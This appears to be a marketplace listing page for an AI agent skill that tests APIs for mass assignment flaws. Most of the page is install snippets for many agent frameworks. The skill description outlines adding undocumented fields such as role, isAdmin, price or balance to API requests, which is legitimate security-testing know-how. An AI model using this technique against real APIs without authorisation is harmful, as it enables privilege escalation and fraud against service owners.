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Testing API for Mass Assignment Vulnerability · mukul975 | DecimalAI

Securityby mukul975

Testing API for Mass Assignment Vulnerability

Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment tes

Never made a case worse

SkillScore

SkillScore98/100

Test results 100 · Live runs 96

Safety

3/3 safety checks passed

Code scan
Intent
Content

What it changes

91%100%of test cases passed +9 pts

Without skill21 of 23

With skill23 of 23

2 fixed21 passed either way0 still failing0 broke

Measured on gemini-3.6-flash8/3/2026v122 comparable

Track record

Agent runs: 221; 18 in the last 30 days
Forks: 1

See one task, with and without the skill

One test taskWhen authoring a security evaluation report for a confirmed property binding flaw, which report section must contain the step-by-step HTTP request and response evidence demonstrating successful exploitation?

Without the skillMissed

With the skillPassed

Same model, same task. Answers are capped and redacted.

Use this skill

Your agent runs on

Adds every file the skill has, pinned so you can update it. No account needed.

pip install "decimalai>=0.15"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability
claude --plugin-dir "$(git rev-parse --show-toplevel 2>/dev/null || pwd)/.agents"

The same install from Python, for a notebook or a setup script.

Install

pip install "decimalai>=0.15"

Add the skill

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

print("Added. Start Claude Code with the command below.")

Start Claude Code with it

claude --plugin-dir "$(git rev-parse --show-toplevel 2>/dev/null || pwd)/.agents"

Type these in a Claude Code session. No account or API key. It writes the skill and any files it bundles, and asks first when its safety rating isn't Passed.

Add the DecimalAI plugin, once

/plugin marketplace add decimal-labs/decimalai-claude-plugins
/plugin install decimalai@decimalai

Install this skill

/decimalai:install mukul975-testing-api-for-mass-assignment-vulnerability

The plugin needs python3 and curl on your machine.

No Python or account. Claude Code picks it up in its next session.

Save it into your project

curl -fsSL --create-dirs -o .claude/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Copy SKILL.md

Save it in your project, as

.claude/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Claude Code docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[claude-agent-sdk]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

import asyncio

from claude_agent_sdk import ClaudeAgentOptions
from decimalai.claude_agent_sdk import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

async def main():
    question = "Hello!"
    async with support.run(question) as run:  # one user message, one run
        async for message in run.query(options=ClaudeAgentOptions(max_turns=6)):
            print(message)

# In a notebook or async code: await main()
asyncio.run(main())

Prefer its own loader? ClaudeAgentOptions(plugins=[skills_plugin()], skills="all") reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.

The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[claude-agent-sdk]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

import asyncio

from claude_agent_sdk import ClaudeAgentOptions
from decimalai.claude_agent_sdk import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

async def main():
    question = "Hello!"
    async with support.run(question) as run:  # one user message, one run
        async for message in run.query(options=ClaudeAgentOptions(max_turns=6)):
            print(message)

# In a notebook or async code: await main()
asyncio.run(main())

Prefer its own loader? ClaudeAgentOptions(plugins=[skills_plugin()], skills="all") reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

import asyncio
from pathlib import Path
from claude_agent_sdk import ClaudeAgentOptions, query

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
options = ClaudeAgentOptions(system_prompt=f"You are a helpful agent.\n\n{skill}", max_turns=6)

async def main():
    async for message in query(prompt="Hello!", options=options):
        print(message)

# In a notebook or async code: await main()
asyncio.run(main())

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Claude Agent SDK docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[openai-agents]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

from agents import Agent, Runner
from decimalai.openai_agents import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = Agent(
    name=support.name,
    instructions=support.instructions,  # your prompt, then the skill list
    tools=[*support.tools],             # your tools, then load_skill
)
# In a notebook or async code: result = await Runner.run(agent, "Hello!")
result = Runner.run_sync(agent, "Hello!")

Using SandboxAgent? capabilities=[Shell(), decimalai.openai_agents.sandbox_skills()] points its own loader at the same folder.

Install

pip install "decimalai[openai-agents]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

from agents import Agent, Runner
from decimalai.openai_agents import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = Agent(
    name=support.name,
    instructions=support.instructions,  # your prompt, then the skill list
    tools=[*support.tools],             # your tools, then load_skill
)
# In a notebook or async code: result = await Runner.run(agent, "Hello!")
result = Runner.run_sync(agent, "Hello!")

Using SandboxAgent? capabilities=[Shell(), decimalai.openai_agents.sandbox_skills()] points its own loader at the same folder.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from agents import Agent, Runner

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent(name="support", instructions=f"You are a helpful agent.\n\n{skill}")
# In a notebook or async code: result = await Runner.run(agent, "Hello!")
result = Runner.run_sync(agent, "Hello!")

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

OpenAI Agents docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[openai]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

import json

from openai import OpenAI
from decimalai.openai import agent_config

client = OpenAI()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")


def lookup_order(order_id: str) -> str:
    return f"Order {order_id} shipped yesterday."


# Your tools, as Chat Completions takes them, and what answers each.
TOOLS = [{"type": "function", "function": {
    "name": "lookup_order",
    "description": "Look up the status of an order.",
    "parameters": {"type": "object", "properties": {"order_id": {"type": "string"}},
                   "required": ["order_id"]},
}}]
FUNCTIONS = {"lookup_order": lookup_order}

question = "Where is order A1001?"
with support.run(question) as run:  # one user message, one run
    # run.system is your prompt, then the skill list.
    messages = [{"role": "system", "content": run.system}, run.message]
    while True:
        reply = client.chat.completions.create(
            model="gpt-5.4-mini",
            messages=messages,
            tools=[*TOOLS, *run.tools],  # your tools, then load_skill
        ).choices[0].message
        messages.append(reply)
        if not reply.tool_calls:
            break
        for call in reply.tool_calls:
            # load_skill is answered by the run; your own tools by FUNCTIONS.
            function = FUNCTIONS.get(call.function.name)
            messages.append(run.tool_result(call) or {
                "role": "tool", "tool_call_id": call.id,
                "content": function(**json.loads(call.function.arguments)) if function
                else f"There is no tool named {call.function.name!r}.",
            })
print(reply.content)

# The Responses API takes run.response_tools instead of run.tools.

Install

pip install "decimalai[openai]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

import json

from openai import OpenAI
from decimalai.openai import agent_config

client = OpenAI()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")


def lookup_order(order_id: str) -> str:
    return f"Order {order_id} shipped yesterday."


# Your tools, as Chat Completions takes them, and what answers each.
TOOLS = [{"type": "function", "function": {
    "name": "lookup_order",
    "description": "Look up the status of an order.",
    "parameters": {"type": "object", "properties": {"order_id": {"type": "string"}},
                   "required": ["order_id"]},
}}]
FUNCTIONS = {"lookup_order": lookup_order}

question = "Where is order A1001?"
with support.run(question) as run:  # one user message, one run
    # run.system is your prompt, then the skill list.
    messages = [{"role": "system", "content": run.system}, run.message]
    while True:
        reply = client.chat.completions.create(
            model="gpt-5.4-mini",
            messages=messages,
            tools=[*TOOLS, *run.tools],  # your tools, then load_skill
        ).choices[0].message
        messages.append(reply)
        if not reply.tool_calls:
            break
        for call in reply.tool_calls:
            # load_skill is answered by the run; your own tools by FUNCTIONS.
            function = FUNCTIONS.get(call.function.name)
            messages.append(run.tool_result(call) or {
                "role": "tool", "tool_call_id": call.id,
                "content": function(**json.loads(call.function.arguments)) if function
                else f"There is no tool named {call.function.name!r}.",
            })
print(reply.content)

# The Responses API takes run.response_tools instead of run.tools.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from openai import OpenAI

client = OpenAI()
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
reply = client.chat.completions.create(
    model="gpt-5.4-mini",
    messages=[
        {"role": "system", "content": f"You are a helpful agent.\n\n{skill}"},
        {"role": "user", "content": "Hello!"},
    ],
).choices[0].message

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

OpenAI SDK docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[anthropic]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

import anthropic
from decimalai.anthropic import agent_config

client = anthropic.Anthropic()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

question = "Hello!"
with support.run(question) as run:  # one user message, one run
    answer = client.beta.messages.tool_runner(
        model="claude-haiku-5-5",
        max_tokens=4096,
        system=run.system,     # your prompt, then the skill list
        tools=[*run.tools],    # your tools, then load_skill
        messages=[{"role": "user", "content": question}],
    ).until_done()

Install

pip install "decimalai[anthropic]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

import anthropic
from decimalai.anthropic import agent_config

client = anthropic.Anthropic()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

question = "Hello!"
with support.run(question) as run:  # one user message, one run
    answer = client.beta.messages.tool_runner(
        model="claude-haiku-5-5",
        max_tokens=4096,
        system=run.system,     # your prompt, then the skill list
        tools=[*run.tools],    # your tools, then load_skill
        messages=[{"role": "user", "content": question}],
    ).until_done()

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
import anthropic

client = anthropic.Anthropic()
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
reply = client.messages.create(
    model="claude-haiku-5-5",
    max_tokens=4096,
    system=f"You are a helpful agent.\n\n{skill}",
    messages=[{"role": "user", "content": "Hello!"}],
)

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Anthropic docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[google-genai]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

from google import genai
from google.genai import types
from decimalai.google_genai import agent_config

client = genai.Client()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")


def lookup_order(order_id: str) -> str:
    return f"Order {order_id} shipped yesterday."


# Your functions, as declarations for the model, and what answers each.
TOOLS = [{"function_declarations": [{
    "name": "lookup_order",
    "description": "Look up the status of an order.",
    "parameters_json_schema": {"type": "object", "properties": {"order_id": {"type": "string"}},
                               "required": ["order_id"]},
}]}]
FUNCTIONS = {"lookup_order": lookup_order}

question = "Where is order A1001?"
with support.run(question) as run:  # one user message, one run
    config = types.GenerateContentConfig(
        system_instruction=run.system,     # your prompt, then the skill list
        tools=[*TOOLS, *run.tool_params],  # your functions, then load_skill
    )
    contents = [{"role": "user", "parts": [{"text": run.message}]}]
    while True:
        response = client.models.generate_content(
            model="gemini-3.5-flash", contents=contents, config=config,
        )
        if not response.function_calls:
            break
        contents.append(response.candidates[0].content)
        parts = []
        for call in response.function_calls:
            # load_skill is answered by the run; your own functions by FUNCTIONS.
            # A loop of your own rather than automatic function calling, which
            # raises KeyError when the model asks for a function you did not pass.
            function = FUNCTIONS.get(call.name)
            parts.append(run.tool_result(call) or {"function_response": {
                "name": call.name, "id": call.id,
                "response": {"result": function(**(call.args or {})) if function
                             else f"There is no function named {call.name!r}."},
            }})
        contents.append({"role": "user", "parts": parts})
print(response.text)

Install

pip install "decimalai[google-genai]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

from google import genai
from google.genai import types
from decimalai.google_genai import agent_config

client = genai.Client()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")


def lookup_order(order_id: str) -> str:
    return f"Order {order_id} shipped yesterday."


# Your functions, as declarations for the model, and what answers each.
TOOLS = [{"function_declarations": [{
    "name": "lookup_order",
    "description": "Look up the status of an order.",
    "parameters_json_schema": {"type": "object", "properties": {"order_id": {"type": "string"}},
                               "required": ["order_id"]},
}]}]
FUNCTIONS = {"lookup_order": lookup_order}

question = "Where is order A1001?"
with support.run(question) as run:  # one user message, one run
    config = types.GenerateContentConfig(
        system_instruction=run.system,     # your prompt, then the skill list
        tools=[*TOOLS, *run.tool_params],  # your functions, then load_skill
    )
    contents = [{"role": "user", "parts": [{"text": run.message}]}]
    while True:
        response = client.models.generate_content(
            model="gemini-3.5-flash", contents=contents, config=config,
        )
        if not response.function_calls:
            break
        contents.append(response.candidates[0].content)
        parts = []
        for call in response.function_calls:
            # load_skill is answered by the run; your own functions by FUNCTIONS.
            # A loop of your own rather than automatic function calling, which
            # raises KeyError when the model asks for a function you did not pass.
            function = FUNCTIONS.get(call.name)
            parts.append(run.tool_result(call) or {"function_response": {
                "name": call.name, "id": call.id,
                "response": {"result": function(**(call.args or {})) if function
                             else f"There is no function named {call.name!r}."},
            }})
        contents.append({"role": "user", "parts": parts})
print(response.text)

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from google import genai
from google.genai import types

client = genai.Client()
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
response = client.models.generate_content(
    model="gemini-3.5-flash",
    contents="Hello!",
    config=types.GenerateContentConfig(system_instruction=f"You are a helpful agent.\n\n{skill}"),
)

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Gemini API docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[langchain]" langchain-openai
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

from langchain.agents import create_agent
from decimalai.langchain import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = create_agent(
    "openai:gpt-5.4-mini",
    tools=[],                         # your tools; the middleware adds load_skill
    middleware=[support.middleware],  # your prompt, the skill list and load_skill
)
result = agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})

Install

pip install "decimalai[langchain]" langchain-openai

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

from langchain.agents import create_agent
from decimalai.langchain import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = create_agent(
    "openai:gpt-5.4-mini",
    tools=[],                         # your tools; the middleware adds load_skill
    middleware=[support.middleware],  # your prompt, the skill list and load_skill
)
result = agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from langchain.agents import create_agent

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = create_agent("openai:gpt-5.4-mini", tools=[], system_prompt=f"You are a helpful agent.\n\n{skill}")
result = agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

LangChain docs

CrewAI's own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" "crewai>=1.15.27"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

import decimalai.crewai
from crewai import Agent, Crew, Task

agent = Agent(
    role="Support", goal="Help the customer", backstory="A support agent.",
    llm=llm,                               # your own CrewAI LLM
    skills=decimalai.crewai.skills(),      # the installed folder
    tools=decimalai.crewai.skill_tools(),  # reads a skill's files, runs its scripts
)
task = Task(description="Hello!", expected_output="an answer", agent=agent)
Crew(agents=[agent], tasks=[task]).kickoff()

The same install from Python, for a notebook or a setup script. CrewAI's own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" "crewai>=1.15.27"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

import decimalai.crewai
from crewai import Agent, Crew, Task

agent = Agent(
    role="Support", goal="Help the customer", backstory="A support agent.",
    llm=llm,                               # your own CrewAI LLM
    skills=decimalai.crewai.skills(),      # the installed folder
    tools=decimalai.crewai.skill_tools(),  # reads a skill's files, runs its scripts
)
task = Task(description="Hello!", expected_output="an answer", agent=agent)
Crew(agents=[agent], tasks=[task]).kickoff()

No DecimalAI package. CrewAI's own loader reads the folder, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from crewai import Agent, Crew, Task

agent = Agent(
    role="Support", goal="Help the customer", backstory="A support agent.",
    llm=llm,                         # your own CrewAI LLM
    skills=[Path(".agents/skills")],
)
task = Task(description="Hello!", expected_output="an answer", agent=agent)
Crew(agents=[agent], tasks=[task]).kickoff()

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

CrewAI docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[adk]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

from decimalai.adk import DecimalAIPlugin, agent_config
from google.adk.agents import LlmAgent
from google.adk.apps import App

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = LlmAgent(
    name="support",          # ADK needs a Python identifier
    model="gemini-3.5-flash",
    instruction=support.instruction,  # your prompt, then the skill list
    tools=[*support.tools],           # your tools, then load_skill
)
# DecimalAIPlugin makes each invocation of runners built from this App one trace.
app = App(name="support", root_agent=agent, plugins=[DecimalAIPlugin()])

Prefer ADK's own loader? SkillToolset(skills=decimalai.adk.skills(), ...) reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.

Install

pip install "decimalai[adk]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

from decimalai.adk import DecimalAIPlugin, agent_config
from google.adk.agents import LlmAgent
from google.adk.apps import App

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = LlmAgent(
    name="support",          # ADK needs a Python identifier
    model="gemini-3.5-flash",
    instruction=support.instruction,  # your prompt, then the skill list
    tools=[*support.tools],           # your tools, then load_skill
)
# DecimalAIPlugin makes each invocation of runners built from this App one trace.
app = App(name="support", root_agent=agent, plugins=[DecimalAIPlugin()])

Prefer ADK's own loader? SkillToolset(skills=decimalai.adk.skills(), ...) reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from google.adk.agents import LlmAgent

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = LlmAgent(
    name="support",
    model="gemini-3.5-flash",
    instruction=lambda context: f"You are a helpful agent.\n\n{skill}",
)

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Google ADK docs

agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.

Install

pip install "decimalai[pydantic-ai]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

from pydantic_ai import Agent
from decimalai.pydantic_ai import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = Agent(
    "openai:gpt-4o-mini",
    name=support.name,
    tools=[],                 # your tools; the capability adds load_skill
    capabilities=[support],   # your prompt, the skill list and load_skill
)
# In a notebook or async code: result = await agent.run("Hello!")
result = agent.run_sync("Hello!")

On the Pydantic AI harness, decimalai.pydantic_ai_harness.skills(project) uses its own loader instead.

Install

pip install "decimalai[pydantic-ai]"

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

from pydantic_ai import Agent
from decimalai.pydantic_ai import agent_config

# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")

agent = Agent(
    "openai:gpt-4o-mini",
    name=support.name,
    tools=[],                 # your tools; the capability adds load_skill
    capabilities=[support],   # your prompt, the skill list and load_skill
)
# In a notebook or async code: result = await agent.run("Hello!")
result = agent.run_sync("Hello!")

On the Pydantic AI harness, decimalai.pydantic_ai_harness.skills(project) uses its own loader instead.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from pydantic_ai import Agent

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent("openai:gpt-4o-mini", instructions=f"You are a helpful agent.\n\n{skill}")
# In a notebook or async code: result = await agent.run("Hello!")
result = agent.run_sync("Hello!")

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Pydantic AI docs

Deep Agents' own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" deepagents
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

import decimalai.deepagents
from deepagents import create_deep_agent

agent = create_deep_agent(model=model, **decimalai.deepagents.skills())
agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})

The default backend reads files but has no shell. To run a skill's scripts, pass skills(backend=LocalShellBackend(...)).

The same install from Python, for a notebook or a setup script. Deep Agents' own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" deepagents

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

import decimalai.deepagents
from deepagents import create_deep_agent

agent = create_deep_agent(model=model, **decimalai.deepagents.skills())
agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})

The default backend reads files but has no shell. To run a skill's scripts, pass skills(backend=LocalShellBackend(...)).

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from deepagents import create_deep_agent

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = create_deep_agent(model=model, system_prompt=f"You are a helpful agent.\n\n{skill}")
agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Deep Agents docs

Its own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" agent-framework
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

import asyncio

from agent_framework import Agent
from decimalai.agent_framework import skills

agent = Agent(client=client, instructions="You are a helpful agent.", context_providers=[skills()])
asyncio.run(agent.run("Hello!"))

It caches skills by default, so restart the process after decimalai skills update.

The same install from Python, for a notebook or a setup script. Its own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" agent-framework

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

import asyncio

from agent_framework import Agent
from decimalai.agent_framework import skills

agent = Agent(client=client, instructions="You are a helpful agent.", context_providers=[skills()])
asyncio.run(agent.run("Hello!"))

It caches skills by default, so restart the process after decimalai skills update.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

import asyncio
from pathlib import Path
from agent_framework import Agent

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent(client=client, instructions=f"You are a helpful agent.\n\n{skill}")
asyncio.run(agent.run("Hello!"))

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Microsoft Agent Framework docs

Strands' own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" strands-agents
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

Add it to your agent

from decimalai.strands import skills
from strands import Agent
from strands.vended_tools import file_editor, shell

agent = Agent(
    model=model,                # always pass one: the default is Amazon Bedrock
    system_prompt="You are a helpful agent.",
    tools=[file_editor, shell],
    plugins=[skills()],
)
agent("Hello!")

Strands loads an agent's skills once, so build the agent again after decimalai skills update.

The same install from Python, for a notebook or a setup script. Strands' own skill loader reads the installed folder. No DecimalAI account needed.

Install

pip install "decimalai>=0.16" strands-agents

Add it to your agent

from decimalai import skillpkg

# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
    raise SystemExit(result.problems)

from decimalai.strands import skills
from strands import Agent
from strands.vended_tools import file_editor, shell

agent = Agent(
    model=model,                # always pass one: the default is Amazon Bedrock
    system_prompt="You are a helpful agent.",
    tools=[file_editor, shell],
    plugins=[skills()],
)
agent("Hello!")

Strands loads an agent's skills once, so build the agent again after decimalai skills update.

No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Give it to your agent

from pathlib import Path
from strands import Agent

skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent(model=model, system_prompt=f"You are a helpful agent.\n\n{skill}")
agent("Hello!")

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Strands docs

Adds every file the skill has, pinned so you can update it. Cursor, Copilot, Cline and Warp read this folder by themselves.

